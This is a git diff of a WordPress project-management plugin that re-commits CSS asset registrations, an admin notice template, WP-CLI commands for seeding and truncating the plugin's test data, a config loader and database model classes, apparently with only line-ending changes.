'/assets/css/const-style.css', - ], - 'pmglobal' => [ - 'id' => 'pmglobal', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/pmglobal.css', - 'path' => $view_path . '/assets/css/pmglobal.css', - 'dependency' => [ - //'pm-const-style' - ], - ], - 'pm-style' => [ - 'id' => 'pm-style', - 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/style.css', - 'path' => $view_path . '/assets/css/style.css', - 'dependency' => [ - 'pm-vue-multiselect', - 'pm-nprogress', - 'pm-fontawesome', - 'pm-toastr', - 'pm-jquery-ui', - 'pm-fullcalendar', - 'pm-tiny-mce', - 'pm-loading', - 'pm-loaautocompleteding', - 'pm-pretty-photo', - 'pm-tiptip', - 'pm-v-tooltip', - 'pm-scheduler', - 'pm-daterangepicker', - 'pm-const-style', - 'pm-new-style', - 'pm-slicknav' - ] - ], -]; + [ + 'id' => 'pm-vue-multiselect', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/vue-multiselect/vue-multiselect.min.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/vue-multiselect/vue-multiselect.min.css', + ], + 'pm-nprogress' => [ + 'id' => 'pm-nprogress', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/nprogress/nprogress.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/nprogress/nprogress.css', + ], + 'pm-fontawesome' => [ + 'id' => 'pm-fontawesome', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/fontawesome/font-awesome.min.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/fontawesome/font-awesome.min.css', + ], + 'pm-toastr' => [ + 'id' => 'pm-toastr', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/toastr/toastr.min.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/toastr/toastr.min.css', + ], + 'pm-fullcalendar' => [ + 'id' => 'pm-fullcalendar', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/jquery-fullcalendar/fullcalendar.min.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/jquery-fullcalendar/fullcalendar.min.css', + ], + 'pm-jquery-ui' => [ + 'id' => 'pm-jquery-ui', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/jquery-ui/jquery-ui-1.12.1.custom.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/jquery-ui/jquery-ui-1.12.1.custom.css', + ], + 'pm-pretty-photo' => [ + 'id' => 'pm-pretty-photo', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/pretty-photo/prettyPhoto.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/pretty-photo/prettyPhoto.css', + ], + 'pm-tiny-mce' => [ + 'id' => 'pm-tiny-mce', + 'url' => site_url( '/wp-includes/css/editor.css' ), + 'dependency' => false, + ], + 'pm-loading' => [ + 'id' => 'pm-loading', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/Elegant-Loading-Indicator/preloader.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/Elegant-Loading-Indicator/preloader.css', + ], + 'pm-autocomplete' => [ + 'id' => 'pm-loaautocompleteding', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/v-autocomplete/v-autocomplete.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/v-autocomplete/v-autocomplete.css', + ], + 'pm-tiptip' => [ + 'id' => 'pm-tiptip', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/tiptip/tipTip.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/tiptip/tipTip.css', + ], + 'pm-daterangepicker' => [ + 'id' => 'pm-daterangepicker', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/daterangepicker/daterangepicker.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/daterangepicker/daterangepicker.css', + ], + 'pm-v-tooltip' => [ + 'id' => 'pm-v-tooltip', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/v-tooltip/v-tooltip.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/v-tooltip/v-tooltip.css', + ], + 'pm-scheduler' => [ + 'id' => 'pm-scheduler', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/scheduler/scheduler.min.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/scheduler/scheduler.min.css', + ], + 'pm-new-style' => [ + 'id' => 'pm-new-style', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/pm-style.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/pm-style.css', + ], + 'pm-badge-styles' => [ + 'id' => 'pm-badge-styles', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/badge.css', + 'dependency' => false, + 'path' => dirname (__FILE__) . '/../core/Pro/assets/badge.css', + ], + 'pm-pro-styles' => [ + 'id' => 'pm-pro-styles', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets/pro-styles.css', + 'dependency' => [ 'pm-new-style' ], + 'path' => dirname (__FILE__) . '/../core/Pro/assets/pro-styles.css', + ], + 'swiffy-slider' => [ + 'id' => 'swiffy-slider', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'core/Pro/assets//vendor/swiffy-slider/swiffy-slider.min.css', + 'dependency' => false, + 'path' => dirname (__FILE__) . '/../core/Pro/assets//vendor/swiffy-slider/swiffy-slider.min.css', + ], + 'pm-slicknav' => [ + 'id' => 'pm-slicknav', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/slicknav/slicknav.min.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/slicknav/slicknav.min.css', + ], + 'pm-const-style' => [ + 'id' => 'pm-const-style', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/const-style.css', + 'dependency' => false, + 'path' => $view_path . '/assets/css/const-style.css', + ], + 'pmglobal' => [ + 'id' => 'pmglobal', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/pmglobal.css', + 'path' => $view_path . '/assets/css/pmglobal.css', + 'dependency' => [ + //'pm-const-style' + ], + ], + 'pm-style' => [ + 'id' => 'pm-style', + 'url' => plugin_dir_url( dirname( __FILE__ ) ) . 'views/assets/css/style.css', + 'path' => $view_path . '/assets/css/style.css', + 'dependency' => [ + 'pm-vue-multiselect', + 'pm-nprogress', + 'pm-fontawesome', + 'pm-toastr', + 'pm-jquery-ui', + 'pm-fullcalendar', + 'pm-tiny-mce', + 'pm-loading', + 'pm-loaautocompleteding', + 'pm-pretty-photo', + 'pm-tiptip', + 'pm-v-tooltip', + 'pm-scheduler', + 'pm-daterangepicker', + 'pm-const-style', + 'pm-new-style', + 'pm-slicknav' + ] + ], +]; diff --git a/core/Admin_Notice/Admin_Notice.php b/core/Admin_Notice/Admin_Notice.php index ebe22b9da..f24a60a90 100644 --- a/core/Admin_Notice/Admin_Notice.php +++ b/core/Admin_Notice/Admin_Notice.php @@ -1,277 +1,277 @@ - -
- - - - - - - - -
- - -

- - - - - - - - = v2.0.12', 'wedevs-project-manager') ?> - - - -

-
-
- - - - WP Project Manager Pro required version 2.0 or above.', "wedevs-project-manager" ); - $offer .= __( '

To migrate version 2.0, Please read mmigration docs

', 'wedevs-project-manager' ); - - $offer_msg = sprintf( '%s', $offer ); - ?> -
- - -
- - -
- - - - +
+ + + + + + + + +
+ + +

+ + + + + + + + = v2.0.12', 'wedevs-project-manager') ?> + + + +

+
+
+ + + + WP Project Manager Pro required version 2.0 or above.', "wedevs-project-manager" ); + $offer .= __( '

To migrate version 2.0, Please read mmigration docs

', 'wedevs-project-manager' ); + + $offer_msg = sprintf( '%s', $offer ); + ?> +
+ + +
+ + +
+ + + + add_command( 'truncate', 'truncate' ); - $this->add_command( 'create_users', 'create_users' ); - //$this->add_command( 'background', 'background' ); - $this->add_command( 'create_project', 'create_project' ); - $this->add_command( 'delete_project', 'delete_project' ); - $this->add_command( 'create_tasklist', 'create_tasklist' ); - $this->add_command( 'delete_tasklist', 'delete_tasklist' ); - $this->add_command( 'create_task', 'create_task' ); - $this->add_command( 'delete_task', 'delete_task' ); - //$this->add_command( 'create_discussion', 'create_discussion' ); - //$this->add_command( 'delete_discussion', 'delete_discussion' ); - //$this->add_command( 'create_milestone', 'create_milestone' ); - //$this->add_command( 'delete_milestone', 'delete_milestone' ); - } - - public function generate_random_string($length = 10) { - $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; - $charactersLength = strlen($characters); - $randomString = ''; - - for ($i = 0; $i < $length; $i++) { - $randomString .= $characters[rand(0, $charactersLength - 1)]; - } - - return $randomString; - } - - public function generate_random_email() { - - // array of possible top-level domains - $tlds = array("com", "net", "gov", "org", "edu", "biz", "info"); - - // string of possible characters - $char = "0123456789abcdefghijklmnopqrstuvwxyz"; - - // choose random lengths for the username ($ulen) and the domain ($dlen) - $ulen = mt_rand(5, 10); - $dlen = mt_rand(7, 17); - - // reset the address - $a = ""; - - // get $ulen random entries from the list of possible characters - // these make up the username (to the left of the @) - for ($i = 1; $i <= $ulen; $i++) { - $a .= substr($char, mt_rand(0, strlen($char)), 1); - } - - // wouldn't work so well without this - $a .= "@"; - - // now get $dlen entries from the list of possible characters - // this is the domain name (to the right of the @, excluding the tld) - for ($i = 1; $i <= $dlen; $i++) { - $a .= substr($char, mt_rand(0, strlen($char)), 1); - } - - // need a dot to separate the domain from the tld - $a .= "."; - - // finally, pick a random top-level domain and stick it on the end - $a .= $tlds[mt_rand(0, (sizeof($tlds)-1))]; - - return $a; - } - - public function create_users () { - for ($i=0; $i <= 100; $i++) { - - $user_name = wp_generate_password(8, false, false); - $password = wp_generate_password(12, false, false); - $user_email = $this->generate_random_email(); - - wp_create_user( $user_name, $password, $user_email ); - } - } - - public function truncate() { - - global $wpdb; - // truncate table - $tables = [ - 'pm_activities', - 'pm_assignees', - 'pm_boardables', - 'pm_boards', - 'pm_categories', - 'pm_category_project', - 'pm_comments', - 'pm_files', - 'pm_meta', - 'pm_projects', - 'pm_role_user', - 'pm_settings', - 'pm_tasks', - 'pm_time_tracker', - 'pm_gantt_chart_links' - ]; - foreach ($tables as $table) { - /* translators: %s: Table Name. */ - $wpdb->query( $wpdb->prepare( "TRUNCATE TABLE %s", $wpdb->prefix . $table ) ); - } - - delete_option('pm_start_migration'); - delete_option('pm_db_migration'); - delete_option('pm_observe_migration'); - delete_option('pm_migration_notice'); - delete_option('pm_task_migration'); - delete_option('pm_db_version'); - delete_option('cpm_db_version'); - - \WP_CLI::success( "Table truncate successfully!" ); - } - - // public function background() { - - // global $wpdb; - // // truncate table - // $tables = [ - // 'pm_capabilities', - // 'pm_role_project', - // 'pm_role_project_capabilities', - // 'pm_role_project_users', - // ]; - // foreach ($tables as $table) { - // $del_tb = $wpdb->prefix . $table; - // $wpdb->query( "DROP TABLE $del_tb" ); - // } - - // $wpdb->query("DELETE FROM wp_options WHERE option_name LIKE 'wp\_pm\_tasks\_boards\_update\_2\_3\_batch\_%'"); - - // delete_option( 'pm_migration_start_2_3' ); - // delete_option( 'pm_migration_notice_2_3' ); - // delete_option( 'pm_db_migration_2_3' ); - // delete_option( 'pm_total_queue_2_3' ); - // delete_option( 'pm_queue_complete_2_3' ); - // update_option( 'pm_db_version', '2.2.2' ); - // delete_option('pm_capabilities'); - // delete_option('update_role_project_table'); - // delete_option('update_role_project_capabilities'); - // delete_option('update_role_project_users'); - - // \WP_CLI::success( "Table truncate successfully!" ); - // } - - public function create_project( $args, $assoc_args ) { - $arguments = wp_parse_args( $assoc_args, array( - 'count_generate' => 1 - ) ); - if( $arguments['count_generate'] > 0 ) { - $faker = \Faker\Factory::create(); - $count = $arguments['count_generate']; - - for ( $i=0; $i<$count; $i++ ) { - $project_data = array( "title" => $faker->name, "description" => $faker->text, - "notify_users" => true, "status" => "incomplete" - ); - $project_controller = new Project_Controller(); - $response = $project_controller->create_project( $project_data ); - } - - \WP_CLI::success( "Project Created successfully!" ); - - } else { - \WP_CLI::error( 'Invalid arguments.' ); - } - - } - - public function delete_project( $args, $assoc_args ) { - $projects = Project::all(); - $proejcts = $projects->pluck('id'); - $project_controller = new Project_Controller(); - $project_controller->delete_projects_all( ); - \WP_CLI::success( "Project Deleted successfully!" ); - } - - public function create_tasklist( $args, $assoc_args ) { - $faker = \Faker\Factory::create(); - - $arguments = wp_parse_args( $assoc_args, array( - 'count_generate' => 1, - ) ); - - if( !empty( $arguments['project_id'] ) && $arguments['count_generate'] > 0 ) { - $count = $arguments['count_generate']; - $project_id = $arguments['project_id']; - $project = Project::find( $project_id ); - - if( $project ) { - for ( $i=0; $i< $count; $i++ ) { - $task_list_data = array( - 'title' => $faker->name, - 'type' => 'task_list', - 'project_id' => $project->id, - 'order' => 0, - 'milestone' => -1, - 'privacy' => false - ); - - // $listobj = new Task_List_Controller(); - $tasklist = Task_List_Controller::create_tasklist( $task_list_data ); - } - - \WP_CLI::success( "Task List Created successfully!" ); - } else { - \WP_CLI::error( 'Invalid arguments.' ); - } - } - } - - public function delete_tasklist( $args, $assoc_args ) { - $arguments = wp_parse_args( $assoc_args, array( - 'project_id' => 0, - ) ); - - if( !empty( $arguments['project_id'] ) ) { - $project_id = $arguments['project_id']; - $lists = Task_List::where( 'project_id', $project_id )->get(); - foreach ($lists as $list) { - $data = array( 'project_id' => $list->project_id, 'task_list_id' => $list->id ); - //$listobj = new Task_List_Controller(); - $tasklist = Task_List_Controller::delete_tasklist( $data ); - } - \WP_CLI::success( "Task List Deleted successfully!" ); - } else { - \WP_CLI::error( 'Invalid arguments.' ); - } - } - - public function create_task( $args, $assoc_args ) { - $faker = \Faker\Factory::create(); - - $arguments = wp_parse_args( $assoc_args, array( - 'project_id' => 0, - 'board_id' => 0, - 'assignees' => 0, - 'privacy' => true, - 'count_generate' => 1, - 'assignees' => array( 0 ) - ) ); - - if( !empty( $arguments['project_id'] ) && !empty( $arguments['board_id'] ) ) { - - $project = Project::find( $arguments['project_id'] ); - $tasklist = Task_List::find( $arguments['board_id'] ); - $count = $arguments['count_generate']; - - for ( $i=0; $i<$count; $i++ ) { - - $task_data = array( - 'title' => $faker->name, - 'project_id' => $project->id, - 'board_id' => $tasklist->id, - 'assignees' => array( 1 ), - 'privacy' => true, - 'created_by' => 1, - 'updated_by' => 1 - ); - - Task_Controller::create_task( $task_data ); - } - - \WP_CLI::success( "Task Created successfully!" . $project->title ); - } else { - \WP_CLI::error( 'Invalid arguments.' ); - } - - } - - public function delete_task( $args, $assoc_args ) { - $arguments = wp_parse_args( $assoc_args, array( - 'project_id' => 0, - 'task_id' => 0 - ) ); - - if( !empty( $arguments['project_id'] ) && !empty( $arguments['task_id'] ) ) { - Task_Controller::delete_task( $arguments ); - \WP_CLI::success( "Task deleted successfully!"); - } else { - \WP_CLI::error( 'Invalid arguments.' ); - } - } - - public function create_discussion( $args, $assoc_args ) { - $arguments = wp_parse_args( $assoc_args, array( - 'project_id' => 0 - ) ); - - // if() { - - // } else { - // \WP_CLI::error( 'Invalid arguments.' ); - // } - } - - public function delete_discussion( $args, $assoc_args ) { - $arguments = wp_parse_args( $assoc_args, array( - 'project_id' => 0 - ) ); - - // if() { - // } else { - // \WP_CLI::error( 'Invalid arguments.' ); - // } - } - - public function create_milestone( $args, $assoc_args ) { - $faker = \Faker\Factory::create(); - $arguments = wp_parse_args( $assoc_args, array( - 'project_id' => 0, - 'count_generate' => 1, - ) ); - - if( !empty( $arguments['project_id'] ) && $arguments['project_id'] > 0 ) { - $count = $arguments['count_generate']; - $date = strtotime("+7 day"); - $milestone_data = array( - 'order' => 0, - 'status' => 'incomplete', - 'title' => $faker->name, - 'description' => $faker->text, - 'achieve_date' => date('Y M, d', $date ), - 'privacy' => false, - 'project_id' => $arguments['project_id'] - ); - - for( $i=0; $i< $count; $i++ ) { - Milestone_Controller::create_milestone( $milestone_data ); - } - - \WP_CLI::success( " Milestone Created successfully!"); - } else { - \WP_CLI::error( 'Invalid arguments.' ); - } - } - - public function delete_milestone( $args, $assoc_args ) { - $arguments = wp_parse_args( $assoc_args, array( - 'project_id' => 0 - ) ); - - // if() { - // } else { - // \WP_CLI::error( 'Invalid arguments.' ); - // } - } -} - - +add_command( 'truncate', 'truncate' ); + $this->add_command( 'create_users', 'create_users' ); + //$this->add_command( 'background', 'background' ); + $this->add_command( 'create_project', 'create_project' ); + $this->add_command( 'delete_project', 'delete_project' ); + $this->add_command( 'create_tasklist', 'create_tasklist' ); + $this->add_command( 'delete_tasklist', 'delete_tasklist' ); + $this->add_command( 'create_task', 'create_task' ); + $this->add_command( 'delete_task', 'delete_task' ); + //$this->add_command( 'create_discussion', 'create_discussion' ); + //$this->add_command( 'delete_discussion', 'delete_discussion' ); + //$this->add_command( 'create_milestone', 'create_milestone' ); + //$this->add_command( 'delete_milestone', 'delete_milestone' ); + } + + public function generate_random_string($length = 10) { + $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + $charactersLength = strlen($characters); + $randomString = ''; + + for ($i = 0; $i < $length; $i++) { + $randomString .= $characters[rand(0, $charactersLength - 1)]; + } + + return $randomString; + } + + public function generate_random_email() { + + // array of possible top-level domains + $tlds = array("com", "net", "gov", "org", "edu", "biz", "info"); + + // string of possible characters + $char = "0123456789abcdefghijklmnopqrstuvwxyz"; + + // choose random lengths for the username ($ulen) and the domain ($dlen) + $ulen = mt_rand(5, 10); + $dlen = mt_rand(7, 17); + + // reset the address + $a = ""; + + // get $ulen random entries from the list of possible characters + // these make up the username (to the left of the @) + for ($i = 1; $i <= $ulen; $i++) { + $a .= substr($char, mt_rand(0, strlen($char)), 1); + } + + // wouldn't work so well without this + $a .= "@"; + + // now get $dlen entries from the list of possible characters + // this is the domain name (to the right of the @, excluding the tld) + for ($i = 1; $i <= $dlen; $i++) { + $a .= substr($char, mt_rand(0, strlen($char)), 1); + } + + // need a dot to separate the domain from the tld + $a .= "."; + + // finally, pick a random top-level domain and stick it on the end + $a .= $tlds[mt_rand(0, (sizeof($tlds)-1))]; + + return $a; + } + + public function create_users () { + for ($i=0; $i <= 100; $i++) { + + $user_name = wp_generate_password(8, false, false); + $password = wp_generate_password(12, false, false); + $user_email = $this->generate_random_email(); + + wp_create_user( $user_name, $password, $user_email ); + } + } + + public function truncate() { + + global $wpdb; + // truncate table + $tables = [ + 'pm_activities', + 'pm_assignees', + 'pm_boardables', + 'pm_boards', + 'pm_categories', + 'pm_category_project', + 'pm_comments', + 'pm_files', + 'pm_meta', + 'pm_projects', + 'pm_role_user', + 'pm_settings', + 'pm_tasks', + 'pm_time_tracker', + 'pm_gantt_chart_links' + ]; + foreach ($tables as $table) { + /* translators: %s: Table Name. */ + $wpdb->query( $wpdb->prepare( "TRUNCATE TABLE %s", $wpdb->prefix . $table ) ); + } + + delete_option('pm_start_migration'); + delete_option('pm_db_migration'); + delete_option('pm_observe_migration'); + delete_option('pm_migration_notice'); + delete_option('pm_task_migration'); + delete_option('pm_db_version'); + delete_option('cpm_db_version'); + + \WP_CLI::success( "Table truncate successfully!" ); + } + + // public function background() { + + // global $wpdb; + // // truncate table + // $tables = [ + // 'pm_capabilities', + // 'pm_role_project', + // 'pm_role_project_capabilities', + // 'pm_role_project_users', + // ]; + // foreach ($tables as $table) { + // $del_tb = $wpdb->prefix . $table; + // $wpdb->query( "DROP TABLE $del_tb" ); + // } + + // $wpdb->query("DELETE FROM wp_options WHERE option_name LIKE 'wp\_pm\_tasks\_boards\_update\_2\_3\_batch\_%'"); + + // delete_option( 'pm_migration_start_2_3' ); + // delete_option( 'pm_migration_notice_2_3' ); + // delete_option( 'pm_db_migration_2_3' ); + // delete_option( 'pm_total_queue_2_3' ); + // delete_option( 'pm_queue_complete_2_3' ); + // update_option( 'pm_db_version', '2.2.2' ); + // delete_option('pm_capabilities'); + // delete_option('update_role_project_table'); + // delete_option('update_role_project_capabilities'); + // delete_option('update_role_project_users'); + + // \WP_CLI::success( "Table truncate successfully!" ); + // } + + public function create_project( $args, $assoc_args ) { + $arguments = wp_parse_args( $assoc_args, array( + 'count_generate' => 1 + ) ); + if( $arguments['count_generate'] > 0 ) { + $faker = \Faker\Factory::create(); + $count = $arguments['count_generate']; + + for ( $i=0; $i<$count; $i++ ) { + $project_data = array( "title" => $faker->name, "description" => $faker->text, + "notify_users" => true, "status" => "incomplete" + ); + $project_controller = new Project_Controller(); + $response = $project_controller->create_project( $project_data ); + } + + \WP_CLI::success( "Project Created successfully!" ); + + } else { + \WP_CLI::error( 'Invalid arguments.' ); + } + + } + + public function delete_project( $args, $assoc_args ) { + $projects = Project::all(); + $proejcts = $projects->pluck('id'); + $project_controller = new Project_Controller(); + $project_controller->delete_projects_all( ); + \WP_CLI::success( "Project Deleted successfully!" ); + } + + public function create_tasklist( $args, $assoc_args ) { + $faker = \Faker\Factory::create(); + + $arguments = wp_parse_args( $assoc_args, array( + 'count_generate' => 1, + ) ); + + if( !empty( $arguments['project_id'] ) && $arguments['count_generate'] > 0 ) { + $count = $arguments['count_generate']; + $project_id = $arguments['project_id']; + $project = Project::find( $project_id ); + + if( $project ) { + for ( $i=0; $i< $count; $i++ ) { + $task_list_data = array( + 'title' => $faker->name, + 'type' => 'task_list', + 'project_id' => $project->id, + 'order' => 0, + 'milestone' => -1, + 'privacy' => false + ); + + // $listobj = new Task_List_Controller(); + $tasklist = Task_List_Controller::create_tasklist( $task_list_data ); + } + + \WP_CLI::success( "Task List Created successfully!" ); + } else { + \WP_CLI::error( 'Invalid arguments.' ); + } + } + } + + public function delete_tasklist( $args, $assoc_args ) { + $arguments = wp_parse_args( $assoc_args, array( + 'project_id' => 0, + ) ); + + if( !empty( $arguments['project_id'] ) ) { + $project_id = $arguments['project_id']; + $lists = Task_List::where( 'project_id', $project_id )->get(); + foreach ($lists as $list) { + $data = array( 'project_id' => $list->project_id, 'task_list_id' => $list->id ); + //$listobj = new Task_List_Controller(); + $tasklist = Task_List_Controller::delete_tasklist( $data ); + } + \WP_CLI::success( "Task List Deleted successfully!" ); + } else { + \WP_CLI::error( 'Invalid arguments.' ); + } + } + + public function create_task( $args, $assoc_args ) { + $faker = \Faker\Factory::create(); + + $arguments = wp_parse_args( $assoc_args, array( + 'project_id' => 0, + 'board_id' => 0, + 'assignees' => 0, + 'privacy' => true, + 'count_generate' => 1, + 'assignees' => array( 0 ) + ) ); + + if( !empty( $arguments['project_id'] ) && !empty( $arguments['board_id'] ) ) { + + $project = Project::find( $arguments['project_id'] ); + $tasklist = Task_List::find( $arguments['board_id'] ); + $count = $arguments['count_generate']; + + for ( $i=0; $i<$count; $i++ ) { + + $task_data = array( + 'title' => $faker->name, + 'project_id' => $project->id, + 'board_id' => $tasklist->id, + 'assignees' => array( 1 ), + 'privacy' => true, + 'created_by' => 1, + 'updated_by' => 1 + ); + + Task_Controller::create_task( $task_data ); + } + + \WP_CLI::success( "Task Created successfully!" . $project->title ); + } else { + \WP_CLI::error( 'Invalid arguments.' ); + } + + } + + public function delete_task( $args, $assoc_args ) { + $arguments = wp_parse_args( $assoc_args, array( + 'project_id' => 0, + 'task_id' => 0 + ) ); + + if( !empty( $arguments['project_id'] ) && !empty( $arguments['task_id'] ) ) { + Task_Controller::delete_task( $arguments ); + \WP_CLI::success( "Task deleted successfully!"); + } else { + \WP_CLI::error( 'Invalid arguments.' ); + } + } + + public function create_discussion( $args, $assoc_args ) { + $arguments = wp_parse_args( $assoc_args, array( + 'project_id' => 0 + ) ); + + // if() { + + // } else { + // \WP_CLI::error( 'Invalid arguments.' ); + // } + } + + public function delete_discussion( $args, $assoc_args ) { + $arguments = wp_parse_args( $assoc_args, array( + 'project_id' => 0 + ) ); + + // if() { + // } else { + // \WP_CLI::error( 'Invalid arguments.' ); + // } + } + + public function create_milestone( $args, $assoc_args ) { + $faker = \Faker\Factory::create(); + $arguments = wp_parse_args( $assoc_args, array( + 'project_id' => 0, + 'count_generate' => 1, + ) ); + + if( !empty( $arguments['project_id'] ) && $arguments['project_id'] > 0 ) { + $count = $arguments['count_generate']; + $date = strtotime("+7 day"); + $milestone_data = array( + 'order' => 0, + 'status' => 'incomplete', + 'title' => $faker->name, + 'description' => $faker->text, + 'achieve_date' => date('Y M, d', $date ), + 'privacy' => false, + 'project_id' => $arguments['project_id'] + ); + + for( $i=0; $i< $count; $i++ ) { + Milestone_Controller::create_milestone( $milestone_data ); + } + + \WP_CLI::success( " Milestone Created successfully!"); + } else { + \WP_CLI::error( 'Invalid arguments.' ); + } + } + + public function delete_milestone( $args, $assoc_args ) { + $arguments = wp_parse_args( $assoc_args, array( + 'project_id' => 0 + ) ); + + // if() { + // } else { + // \WP_CLI::error( 'Invalid arguments.' ); + // } + } +} + + diff --git a/core/Config/Config.php b/core/Config/Config.php index 112bf949f..1af50ed5e 100644 --- a/core/Config/Config.php +++ b/core/Config/Config.php @@ -1,66 +1,66 @@ - 'load', - 'params' => [], - 'property' => null - ]) - ); - - $configs = self::$configs; - - if ( $key ) { - $keys = explode( '.', $key ); - - foreach ( $keys as $key ) { - - if ( !array_key_exists( $key, $configs ) ) { - return null; - } - - $configs = $configs[$key]; - } - } - - return $configs; - } + 'load', + 'params' => [], + 'property' => null + ]) + ); + + $configs = self::$configs; + + if ( $key ) { + $keys = explode( '.', $key ); + + foreach ( $keys as $key ) { + + if ( !array_key_exists( $key, $configs ) ) { + return null; + } + + $configs = $configs[$key]; + } + } + + return $configs; + } } \ No newline at end of file diff --git a/core/DB_Connection/Model.php b/core/DB_Connection/Model.php index adaffc4f9..1613fd2e5 100644 --- a/core/DB_Connection/Model.php +++ b/core/DB_Connection/Model.php @@ -1,142 +1,142 @@ -table ) ) { - $table = $this->table; - } - - if ( ! $this->prefixed_table ) { - $this->prefixed_table = $this->getConnection()->db->prefix . $table; - } - - return $this; - } - - /** - * Get the table name with WP prefix - * - * @return string - */ - public function getTable() { - if ( ! $this->prefixed_table ) { - $this->prefixed_table = $this->getConnection()->db->prefix . $this->table; - } - - return $this->prefixed_table; - } - - /** - * Set the value of the "created at" attribute. - * - * @param mixed $value - * @return void - */ - public function setCreatedAt( $value ) { - $this->{static::CREATED_AT} = current_time( 'mysql' ); - } - - /** - * Set the value of the "updated at" attribute. - * - * @param mixed $value - * @return void - */ - public function setUpdatedAt( $value ) { - $this->{static::UPDATED_AT} = current_time( 'mysql' ); - } - - protected function fireModelEvent($event, $halt = true) { - - if ( !static::$pmFireEvent ) { - return true; - } - - $user = wp_get_current_user(); - $fillable = $this->getFillable(); - - - switch ( $event ) { - case 'creating': - if ( in_array('created_by', $fillable, true) ) { - $this->created_by = $user->ID; - $this->updated_by = $user->ID; - } - break; - - case 'created': - do_action( 'pm_created', $this ); - Activity_Log::entry( $this, 'created' ); - break; - - case 'updating': - if ( in_array('updated_by', $fillable, true) ) { - $this->updated_by = $user->ID; - } - break; - - case 'updated': - do_action( 'pm_updated', $this ); - Activity_Log::entry( $this, 'updated' ); - break; - - case 'deleted': - - do_action( 'pm_deleted', $this ); - //Activity_Log::entry( $this, 'deleted' ); - break; - - case 'deleting': - - do_action( 'pm_deleting', $this ); - Activity_Log::entry( $this, 'deleting' ); - break; - } - //Do not remove this line - return parent::fireModelEvent($event, $halt); - } - - /** - * Unset the event dispatcher for models. - * - * @return void - */ - public static function unsetEventDispatcher() { - static::$pmFireEvent = false; - - parent::unsetEventDispatcher(); - } -} +table ) ) { + $table = $this->table; + } + + if ( ! $this->prefixed_table ) { + $this->prefixed_table = $this->getConnection()->db->prefix . $table; + } + + return $this; + } + + /** + * Get the table name with WP prefix + * + * @return string + */ + public function getTable() { + if ( ! $this->prefixed_table ) { + $this->prefixed_table = $this->getConnection()->db->prefix . $this->table; + } + + return $this->prefixed_table; + } + + /** + * Set the value of the "created at" attribute. + * + * @param mixed $value + * @return void + */ + public function setCreatedAt( $value ) { + $this->{static::CREATED_AT} = current_time( 'mysql' ); + } + + /** + * Set the value of the "updated at" attribute. + * + * @param mixed $value + * @return void + */ + public function setUpdatedAt( $value ) { + $this->{static::UPDATED_AT} = current_time( 'mysql' ); + } + + protected function fireModelEvent($event, $halt = true) { + + if ( !static::$pmFireEvent ) { + return true; + } + + $user = wp_get_current_user(); + $fillable = $this->getFillable(); + + + switch ( $event ) { + case 'creating': + if ( in_array('created_by', $fillable, true) ) { + $this->created_by = $user->ID; + $this->updated_by = $user->ID; + } + break; + + case 'created': + do_action( 'pm_created', $this ); + Activity_Log::entry( $this, 'created' ); + break; + + case 'updating': + if ( in_array('updated_by', $fillable, true) ) { + $this->updated_by = $user->ID; + } + break; + + case 'updated': + do_action( 'pm_updated', $this ); + Activity_Log::entry( $this, 'updated' ); + break; + + case 'deleted': + + do_action( 'pm_deleted', $this ); + //Activity_Log::entry( $this, 'deleted' ); + break; + + case 'deleting': + + do_action( 'pm_deleting', $this ); + Activity_Log::entry( $this, 'deleting' ); + break; + } + //Do not remove this line + return parent::fireModelEvent($event, $halt); + } + + /** + * Unset the event dispatcher for models. + * + * @return void + */ + public static function unsetEventDispatcher() { + static::$pmFireEvent = false; + + parent::unsetEventDispatcher(); + } +} diff --git a/core/Database/Migration_Model.php b/core/Database/Migration_Model.php index 913ace187..7b1d52894 100644 --- a/core/Database/Migration_Model.php +++ b/core/Database/Migration_Model.php @@ -1,20 +1,20 @@ -table = migrations_table_prefix() . '_migrations'; - - parent::__construct( $attributes ); - } - - protected $fillable = [ - 'id', - 'migration' - ]; +table = migrations_table_prefix() . '_migrations'; + + parent::__construct( $attributes ); + } + + protected 